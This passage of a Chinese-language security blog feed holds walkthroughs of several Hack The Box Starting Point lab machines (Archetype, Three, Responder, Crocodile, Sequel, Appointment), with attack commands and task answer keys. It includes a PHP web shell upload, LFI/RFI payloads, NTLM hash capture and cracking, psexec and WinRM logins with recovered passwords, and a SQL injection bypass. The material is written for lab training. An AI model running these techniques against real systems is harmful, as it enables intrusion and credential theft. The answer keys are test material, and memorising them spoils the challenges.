title="获取信息，一般查看桌面和历史命令user.txt"></a>获取信息，一般查看桌面和历史命令user.txt</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">dir</span> c:\<span class="built_in">users</span>\sql_svc\desktop\</span><br><span class="line"><span class="built_in">type</span> c:\<span class="built_in">users</span>\sql_svc\desktop\user.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/fed10f118084344dc55fdf185eb2b656a48777f27099484ce0aed76687b31544.jpg" alt="start-Archetype-5">  </p><h6 id="Winpeas，下载后执行，-会进行扫描然后给出提示"><a href="#Winpeas，下载后执行，-会进行扫描然后给出提示" class="headerlink" title="Winpeas，下载后执行， 会进行扫描然后给出提示"></a>Winpeas，下载后执行， 会进行扫描然后给出提示</h6><p><a href="https://github.com/carlospolop/PEASS-ng">https://github.com/carlospolop/PEASS-ng</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">./winPEASx64.exe</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/3b76add6e9bdfa7d700579bb5063385aa3450af61621caa69126089f6abdb100.jpg" alt="start-Archetype-6">  </p><h5 id="历史命令-，通过Winpeas查看到，路径-C-Users-sql-svc-AppData-Roaming-Microsoft-Windows-Powershell-PSReadLine"><a href="#历史命令-，通过Winpeas查看到，路径-C-Users-sql-svc-AppData-Roaming-Microsoft-Windows-Powershell-PSReadLine" class="headerlink" title="历史命令 ，通过Winpeas查看到，路径 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine"></a>历史命令 ，通过Winpeas查看到，路径 <code>C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine</code></h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">dir</span>  C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\</span><br><span class="line"><span class="built_in">type</span> C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/95b5c64c20f503f31aa8b3265469fa7fce86f83aafa121f8e7a21da236fa06f6.jpg" alt="start-Archetype-7">  </p><h5 id="上面获取到了administrato的密码，可以使用msf通过smb获取flag，或者用-impacket-里面的psexec-py有可以"><a href="#上面获取到了administrato的密码，可以使用msf通过smb获取flag，或者用-impacket-里面的psexec-py有可以" class="headerlink" title="上面获取到了administrato的密码，可以使用msf通过smb获取flag，或者用 impacket 里面的psexec.py有可以"></a>上面获取到了administrato的密码，可以使用msf通过smb获取flag，或者用 impacket 里面的psexec.py有可以</h5><h5 id="msfconsle"><a href="#msfconsle" class="headerlink" title="msfconsle"></a>msfconsle</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">use exploit/windows/smb/psexec</span><br><span class="line"><span class="built_in">set</span> lhost 10.10.16.130 <span class="comment">#本地IP</span></span><br><span class="line"><span class="built_in">set</span> rhosts 10.129.95.187 <span class="comment">#远程IP</span></span><br><span class="line"><span class="built_in">set</span> smbuser administrator</span><br><span class="line"><span class="built_in">set</span> smbpass MEGACORP_4dm1n!!</span><br><span class="line">option <span class="comment">#检查设置是否正确</span></span><br><span class="line">run <span class="comment">#执行获取shell</span></span><br><span class="line"><span class="built_in">cat</span> c:\<span class="built_in">users</span>\administrator\desktop\root.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/9f730a97b68113e40bd34cf6ff6c559740cc2453f30899db9a3e02189f9f2581.jpg" alt="start-Archetype-8">  </p><p>方法2 psexec.py</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python psexec.py administrator@10.129.95.187</span><br><span class="line">MEGACORP_4dm1n!!  <span class="comment">#密码</span></span><br></pre></td></tr></table></figure><hr><ul><li><p>Task 1 Which TCP port is hosting a database server?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">1433</span><br></pre></td></tr></table></figure></li><li><p>Task 2 What is the name of the non-Administrative share available over SMB?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">backups</span><br></pre></td></tr></table></figure></li><li><p>Task 3 What is the password identified in the file on the SMB share?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">M3g4c0rp123</span><br></pre></td></tr></table></figure></li><li><p>Task 4 What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">mssqlclient.py</span><br></pre></td></tr></table></figure><p>mssqlclient.py <a href="https://github.com/SecureAuthCorp/impacket.git">https://github.com/SecureAuthCorp/impacket.git</a></p></li><li><p>Task 5 What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">xp_cmdshell</span><br></pre></td></tr></table></figure></li><li><p>Task 6 What script can be used in order to search possible paths to escalate privileges on Windows hosts?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Winpeas</span><br></pre></td></tr></table></figure></li><li><p>Task 7 What file contains the administrator’s password?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">ConsoleHost_history.txt</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Archetype </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Three</title>
      <link href="/archives/security/HTB/start-Three.html"/>
      <url>/archives/security/HTB/start-Three.html</url>
      
        <content type="html"><![CDATA[<h4 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -T4 -Pn -sVC -p- 10.129.27.183</span><br></pre></td></tr></table></figure><p>开放端口22， 80 访问80  <a href="http://10.129.27.183/#contact">http://10.129.27.183/#contact</a> 找到联系方式  <code>thetoppers.htb</code></p><p><img src="https://images.hao.kim/uploads/2024/12/4690090a6be517728817bf5f13285aff58e491cfe11fa0bc6939a0df7403bcc1.jpg" alt="start-Three-1">  </p><h5 id="根据提示写入域名到hosts，然后爆破子域名"><a href="#根据提示写入域名到hosts，然后爆破子域名" class="headerlink" title="根据提示写入域名到hosts，然后爆破子域名"></a>根据提示写入域名到hosts，然后爆破子域名</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;10.129.27.183 thetoppers.htb&quot;</span> &gt;&gt; /etc/hosts</span><br><span class="line">gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -u http://thetoppers.htb/ <span class="comment">#耐何没有爆破出来</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;10.129.27.183 s3.thetoppers.htb&quot;</span> &gt;&gt; /etc/hosts</span><br></pre></td></tr></table></figure><h6 id="一开始题目提示是-s3-thetoppers-htb"><a href="#一开始题目提示是-s3-thetoppers-htb" class="headerlink" title="一开始题目提示是 s3.thetoppers.htb"></a>一开始题目提示是 <code>s3.thetoppers.htb</code></h6><p><img src="https://images.hao.kim/uploads/2024/12/c8ad4fc324b838b25865815d905e32ae4e11a1fc7a62b2600937cfd0789c2aec.jpg" alt="start-Three-2">  </p><h5 id="安装AWS客户端"><a href="#安装AWS客户端" class="headerlink" title="安装AWS客户端"></a>安装AWS客户端</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">apt install awscli -y</span><br><span class="line">aws configure  <span class="comment"># 配置</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f6ab2cf6911c8bdd410703de5e60922baf1459651564aeec221971f1b0cd0ce3.jpg" alt="start-Three-3">  </p><h5 id="上传shell"><a href="#上传shell" class="headerlink" title="上传shell"></a>上传shell</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">aws --endpoint=http://s3.thetoppers.htb s3 <span class="built_in">ls</span> s3://thetoppers.htb  <span class="comment">#列文件 发现是index.php首页生成php一句话 ，也可以用蚁剑，哥斯拉等工具</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;&#x27;</span> &gt; shell.php</span><br><span class="line">aws --endpoint=http://s3.thetoppers.htb s3 <span class="built_in">cp</span> shell.php s3://thetoppers.htb  <span class="comment">#上传文件</span></span><br></pre></td></tr></table></figure><h5 id="执行命令"><a href="#执行命令" class="headerlink" title="执行命令"></a>执行命令</h5><p><code>http://thetoppers.htb/shell.php?cmd=ls</code></p><p><img src="https://images.hao.kim/uploads/2024/12/8e41ad9191553ac06d30bc76fe1b100e265890e3a6598d7e3dd05b0d610d0d56.jpg" alt="start-Three-4">  </p><p><code>http://thetoppers.htb/shell.php?cmd=ls ../</code></p><p><img src="https://images.hao.kim/uploads/2024/12/60de87730fa06135beaef9fab3801e818586adaf5a3af701480d4d07ac5d3439.jpg" alt="start-Three-7">  </p><p><code>http://thetoppers.htb/shell.php?cmd=cat ../flag.txt</code></p><p><img src="https://images.hao.kim/uploads/2024/12/1981a3f81ad7e8921da6702eb6967331a13e27727a8d01ab18a65ee517093599.jpg" alt="start-Three-6">  </p><ul><li><p>Task 1 How many TCP ports are open?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">2</span><br></pre></td></tr></table></figure></li><li><p>Task 2 What is the domain of the email address provided in the “Contact” section of the website?</p></li></ul><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">thetoppers.htb</span><br></pre></td></tr></table></figure><ul><li><p>Task 3 In the absence of a DNS server, which Linux file can we use to resolve hostnames to IP addresses in order to be able to access the websites that point to those hostnames?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">/etc/hosts</span><br></pre></td></tr></table></figure></li><li><p>Task 4 Which sub-domain is discovered during further enumeration?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">s3.thetoppers.htb</span><br></pre></td></tr></table></figure></li><li><p>Task 5 Which service is running on the discovered sub-domain?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Amazon S3</span><br></pre></td></tr></table></figure></li><li><p>Task 6 Which command line utility can be used to interact with the service running on the discovered sub-domain?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">awscli</span><br></pre></td></tr></table></figure></li><li><p>Task 7 Which command is used to set up the AWS CLI installation?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">aws configure </span><br></pre></td></tr></table></figure></li><li><p>Task 8 What is the command used by the above utility to list all of the S3 buckets?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">aws s3 ls </span><br></pre></td></tr></table></figure></li><li><p>Task 9 This server is configured to run files written in what web scripting language?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">php</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Three </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Responder</title>
      <link href="/archives/security/HTB/start-Responder.html"/>
      <url>/archives/security/HTB/start-Responder.html</url>
      
        <content type="html"><![CDATA[<h5 id="端口扫描，发现端口80，直接访问跳转到-unika-htb"><a href="#端口扫描，发现端口80，直接访问跳转到-unika-htb" class="headerlink" title="端口扫描，发现端口80，直接访问跳转到 unika.htb"></a>端口扫描，发现端口80，直接访问跳转到 <code>unika.htb</code></h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap 10.129.216.188</span><br><span class="line">nmap 10.129.216.188 -A -p 80 -Pn</span><br></pre></td></tr></table></figure><h5 id="修改本地host文件-之后直接访问域名"><a href="#修改本地host文件-之后直接访问域名" class="headerlink" title="修改本地host文件,之后直接访问域名"></a>修改本地host文件,之后直接访问域名</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;10.129.216.188 unika.htb&quot;</span>  &gt;&gt; /etc/hosts</span><br></pre></td></tr></table></figure><h5 id="可以看到版本语言为php"><a href="#可以看到版本语言为php" class="headerlink" title="可以看到版本语言为php"></a>可以看到版本语言为php</h5><p><img src="https://images.hao.kim/uploads/2024/12/965b9f7487237e33399cc8207756f8bd18dd739b868ee991f08aa1c9ba501038.jpg" alt="start-Responder-1">  </p><h5 id="页面点击语言切换，-提示在page参数存在本地文件包含"><a href="#页面点击语言切换，-提示在page参数存在本地文件包含" class="headerlink" title="页面点击语言切换， 提示在page参数存在本地文件包含"></a>页面点击语言切换， 提示在page参数存在本地文件包含</h5><figure class="highlight ini"><table><tr><td class="code"><pre><span class="line">../../../../../../../../windows/system32/drivers/etc/hosts</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/59ab4e4b13430a6706d0653326a123177802ac2b20a6a7ca7a3c778ecb463127.jpg" alt="start-Responder-2">  </p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">//10.10.14.6/somefile</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/7e721678a17e5f727a90aa1e1386ee2ea55cbd264090cc93606e6591b924285d.jpg" alt="start-Responder-3">  </p><h5 id="获取NTLM-hash"><a href="#获取NTLM-hash" class="headerlink" title="获取NTLM hash"></a>获取NTLM hash</h5><p>修改<code>http://unika.htb/index.php?page=//自己的IP地址/somefile</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ip a <span class="comment"># 比如我这里是10.10.16.130</span></span><br></pre></td></tr></table></figure><h6 id="抓包"><a href="#抓包" class="headerlink" title="抓包"></a>抓包</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">responder -I tun0</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/f3394d0df90e5e34c6095e65fa0b3d47262a7da1545b1df1dbb435d0f5c90fcc.jpg" alt="start-Responder-4">  </p><h5 id="把-hash值存入文件"><a href="#把-hash值存入文件" class="headerlink" title="把 hash值存入文件"></a>把 hash值存入文件</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim hash.txt</span><br></pre></td></tr></table></figure><p>hash.txt</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Administrator::RESPONDER:776ede6a755707fe:95E2B1BB3B513F892ED5754D6B3E1C95:01010000000000008071B24EC84BD9014BA7BD9254BC57AD0000000002000800510031004D00530001001E00570049004E002D0054003000490036004D0056004F00340048005900580004003400570049004E002D0054003000490036004D0056004F0034004800590058002E00510031004D0053002E004C004F00430041004C0003001400510031004D0053002E004C004F00430041004C0005001400510031004D0053002E004C004F00430041004C00070008008071B24EC84BD90106000400020000000800300030000000000000000100000000200000BA91424F97B704CCFC81784E303224B6046043E70F8FAE2AB1BF5315099E0E840A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310036002E003100330030000000000000000000</span></span><br></pre></td></tr></table></figure><h5 id="使用john破解"><a href="#使用john破解" class="headerlink" title="使用john破解"></a>使用john破解</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">john hash.txt</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/467d7a7b17b8722edec4a002eda0550050d18d073d9a63e31506e7c11544db65.jpg" alt="start-Responder-5">  </p><h5 id="一开始只扫描到了80端口，-进行个全端口扫描，发现了5985"><a href="#一开始只扫描到了80端口，-进行个全端口扫描，发现了5985" class="headerlink" title="一开始只扫描到了80端口， 进行个全端口扫描，发现了5985"></a>一开始只扫描到了80端口， 进行个全端口扫描，发现了5985</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -p- --min-rate 5000 10.129.216.188 --open -v</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6da0b3cf5fa1ac8d4874c4927402de229da84ebda08dde49a0f81b922f25d61f.jpg" alt="start-Responder-6">  </p><h5 id="远程连接，IP为目标ip，在mike桌面找到flag"><a href="#远程连接，IP为目标ip，在mike桌面找到flag" class="headerlink" title="远程连接，IP为目标ip，在mike桌面找到flag"></a>远程连接，IP为目标ip，在mike桌面找到flag</h5><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">evil-winrm -i 10.129.216.188 -u administrator -p badminton</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/c9ff4b778fec4c63c9fe779ef3bb770c9204c267ea790880365e59421c4d3230.jpg" alt="start-Responder-7">  </p><ul><li><p>Task 1 When visiting the web service using the IP address, what is the domain that we are being redirected to?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">unika.htb</span><br></pre></td></tr></table></figure></li><li><p>Task 2 Which scripting language is being used on the server to generate webpages?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">php</span><br></pre></td></tr></table></figure></li><li><p>Task 3 What is the name of the URL parameter which is used to load different language versions of the webpage?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">page</span><br></pre></td></tr></table></figure><p>点击语言切换，url <a href="http://unika.htb/index.php?page=german.html">http://unika.htb/index.php?page=german.html</a> 参数为page</p></li><li><p>Task 4 Which of the following values for the <code>page</code> parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “&#x2F;&#x2F;10.10.14.6&#x2F;somefile”, “..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;windows&#x2F;system32&#x2F;drivers&#x2F;etc&#x2F;hosts”, “minikatz.exe”</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">../../../../../../../../windows/system32/drivers/etc/hosts</span><br></pre></td></tr></table></figure></li><li><p>Task 5 Which of the following values for the <code>page</code> parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “&#x2F;&#x2F;10.10.14.6&#x2F;somefile”, “..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;..&#x2F;windows&#x2F;system32&#x2F;drivers&#x2F;etc&#x2F;hosts”, “minikatz.exe”</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">//10.10.14.6/somefile</span><br></pre></td></tr></table></figure><p><img src="/" alt="Uploading file..."></p></li><li><p>Task 6 What does NTLM stand for?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">New Technology LAN Manager</span><br></pre></td></tr></table></figure></li><li><p>Task 7 Which flag do we use in the Responder utility to specify the network interface?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">-I</span><br></pre></td></tr></table></figure></li><li><p>Task 8 There are several tools that take a NetNTLMv2 challenge&#x2F;response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as <code>john</code>, but the full name is what?.</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">john the ripper</span><br></pre></td></tr></table></figure></li><li><p>Task 9 What is the password for the administrator user?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">badminton</span><br></pre></td></tr></table></figure></li><li><p>Task 10 We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">5985</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Responder </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Crocodile</title>
      <link href="/archives/security/HTB/start-Crocodile.html"/>
      <url>/archives/security/HTB/start-Crocodile.html</url>
      
        <content type="html"><![CDATA[<h4 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap 10.129.171.69</span><br><span class="line">nmap 10.129.171.69 -A -p 21,80</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/30c4b78e68382f803bd6244aa914bfccf56f24b9145863e783ec5e4ec136eb9a.jpg" alt="start-Crocodile-1">  </p><h4 id="允许匿名用户登录，-并且存在两个文件"><a href="#允许匿名用户登录，-并且存在两个文件" class="headerlink" title="允许匿名用户登录， 并且存在两个文件"></a>允许匿名用户登录， 并且存在两个文件</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ftp 10.129.171.69</span><br><span class="line">    Anonymous <span class="comment">#登录</span></span><br><span class="line">    <span class="built_in">ls</span>     <span class="comment">#列出目录</span></span><br><span class="line">    get allowed.userlist</span><br><span class="line">    get allowed.userlist.passwd</span><br><span class="line">    <span class="built_in">exit</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> allowed.userlist</span><br><span class="line"><span class="built_in">cat</span> allowed.userlist.passwd</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/66d57a4025da294741d9fb617f20f290498758c2c2e0d228ae532a13b8e14b9f.jpg" alt="start-Crocodile-2">  </p><h4 id="浏览80端口"><a href="#浏览80端口" class="headerlink" title="浏览80端口"></a>浏览80端口</h4><p><img src="https://images.hao.kim/uploads/2024/12/272f5618208fa6d5c72126570a8d8252485dce638dcc5d76e41ce190ae0ead0a.jpg" alt="start-Crocodile-4">  </p><h4 id="爆破路径"><a href="#爆破路径" class="headerlink" title="爆破路径"></a>爆破路径</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">gobuster <span class="built_in">dir</span> -u 10.129.171.69 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -x .php</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/cd999bb7b196b682dc11896d1a60739247889e336018223a9b5ae960baaf345b.jpg" alt="start-Crocodile-5">  </p><h4 id="用上面文件的信息登录下-获得flag"><a href="#用上面文件的信息登录下-获得flag" class="headerlink" title="用上面文件的信息登录下,获得flag"></a>用上面文件的信息登录下,获得flag</h4><p><img src="https://images.hao.kim/uploads/2024/12/ed6f25e0a9494301fca7a7786db237bd6dca92e960b0f64acb16c3e1b6e29e2f.jpg" alt="start-Crocodile-6"><br><img src="https://images.hao.kim/uploads/2024/12/af0dd98da34f293992dbde2775d794b23c6199db05ea1d87615e3d9b566ccfc9.jpg" alt="start-Crocodile-7">  </p><ul><li><p>Task 1 What Nmap scanning switch employs the use of default scripts during a scan?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">-sC</span><br></pre></td></tr></table></figure></li><li><p>Task 2 What service version is found to be running on port 21?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">vsftpd 3.0.3</span><br></pre></td></tr></table></figure></li><li><p>Task 3 What FTP code is returned to us for the “Anonymous FTP login allowed” message?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">230</span><br></pre></td></tr></table></figure></li><li><p>Task 4 After connecting to the FTP server using the ftp client, what username do we provide when prompted to log in anonymously?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Anonymous</span><br></pre></td></tr></table></figure></li><li><p>Task 5 After connecting to the FTP server anonymously, what command can we use to download the files we find on the FTP server?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">get</span><br></pre></td></tr></table></figure></li><li><p>Task 6 What is one of the higher-privilege sounding usernames in ‘allowed.userlist’ that we download from the FTP server?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">admin</span><br></pre></td></tr></table></figure></li><li><p>Task 7 What version of Apache HTTP Server is running on the target host?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Apache httpd 2.4.41</span><br></pre></td></tr></table></figure></li><li><p>Task 8 What switch can we use with Gobuster to specify we are looking for specific filetypes?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">-x</span><br></pre></td></tr></table></figure></li><li><p>Task 9 Which PHP file can we identify with directory brute force that will provide the opportunity to authenticate to the web service?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">login.php</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Crocodile </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Sequel</title>
      <link href="/archives/security/HTB/start-Sequel.html"/>
      <url>/archives/security/HTB/start-Sequel.html</url>
      
        <content type="html"><![CDATA[<h4 id="扫描，-发现3306端口开放"><a href="#扫描，-发现3306端口开放" class="headerlink" title="扫描， 发现3306端口开放"></a>扫描， 发现3306端口开放</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -A 10.129.95.232</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/64e1d08f2276522c046bf96af53bf7327c3554f7f5565d7cd483fe776d521325.jpg" alt="start-Sequel-1">  </p><h4 id="弱密码，密码为空，如果破解其他密码可以把-e-nsr-换成字典路径即可"><a href="#弱密码，密码为空，如果破解其他密码可以把-e-nsr-换成字典路径即可" class="headerlink" title="弱密码，密码为空，如果破解其他密码可以把 -e nsr 换成字典路径即可"></a>弱密码，密码为空，如果破解其他密码可以把 -e nsr 换成字典路径即可</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ydra -l root -e nsr mysql://10.129.95.232</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5d0c7105d06dbafa669d59a161d8e921d64286343065bc6e1d46eb3d734cc70c.jpg" alt="start-Sequel-2">  </p><h4 id="登录mysql"><a href="#登录mysql" class="headerlink" title="登录mysql"></a>登录mysql</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mysql -uroot -h 10.129.95.232</span><br><span class="line">    show databases;      <span class="comment">#列数据库</span></span><br><span class="line">    use htb;                    <span class="comment">#切换数据库</span></span><br><span class="line">    show tables;             <span class="comment"># 列表</span></span><br><span class="line">    <span class="keyword">select</span> * from config;  <span class="comment">#获取表中数据</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/81a1ee5a4c12cbde41a006dad18117ac37457fa3ab749666d5e93d74adecc594.jpg" alt="start-Sequel-3">  </p><ul><li><p>Task 1 During our scan, which port do we find serving MySQL?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">3306</span><br></pre></td></tr></table></figure></li><li><p>Task 2 What community-developed MySQL version is the target running?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">MariaDB</span><br></pre></td></tr></table></figure></li><li><p>Task 3 When using the MySQL command line client, what switch do we need to use in order to specify a login username?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">-u</span><br></pre></td></tr></table></figure></li><li><p>Task 4 Which username allows us to log into this MariaDB instance without providing a password?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">root</span><br></pre></td></tr></table></figure></li><li><p>Task 5 In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">*</span><br></pre></td></tr></table></figure></li><li><p>Task 6 In SQL, what symbol do we need to end each query with?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">;</span><br></pre></td></tr></table></figure></li><li><p>Task 7 There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that’s unique to this host?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">htb</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
          <category> HTB </category>
          
      </categories>
      
      
        <tags>
            
            <tag> HTB </tag>
            
            <tag> Sequel </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hack The Box :: Starting Point - Appointment</title>
      <link href="/archives/security/HTB/start-Appointment.html"/>
      <url>/archives/security/HTB/start-Appointment.html</url>
      
        <content type="html"><![CDATA[<h4 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h4><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nmap -sV 10.129.24.207</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6ae91d2d82776332c08c4ba398d8398dceeac9693fa568f8f8acc546b4dabcd2.jpg" alt="start-Appointment-1">  </p><h4 id="页面为登录页面，根据提示为SQL注入，尝试用-‘-or-1-1-测试"><a href="#页面为登录页面，根据提示为SQL注入，尝试用-‘-or-1-1-测试" class="headerlink" title="页面为登录页面，根据提示为SQL注入，尝试用 ‘ or 1&#x3D;1;# 测试"></a>页面为登录页面，根据提示为SQL注入，尝试用 <strong>‘ or 1&#x3D;1;#</strong> 测试</h4><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">admin</span><br><span class="line">1&#x27; or 1=1;#</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/242c806403fd3de8d04199c8ff575fd3c9cd3cb4a6b18401d71d08ce08961de3.jpg" alt="start-Appointment-2">  </p><ul><li><p>Task 1 What does the acronym SQL stand for?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Structured Query Language</span><br></pre></td></tr></table></figure></li><li><p>Task 2 What is one of the most common type of SQL vulnerabilities?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">sql injection</span><br></pre></td></tr></table></figure></li><li><p>Task 3 What does PII stand for?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">personally identifiable information</span><br></pre></td></tr></table></figure></li><li><p>Task 4 What is the 2021 OWASP Top 10 classification for this vulnerability?</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">A03:2021-Injection</span><br></pre></td></tr></table></figure></li><li><p>Task 5 What does Nmap report as the service and version that are running on port 80 of the target?</p><figure class="highlight text"><table><tr><td 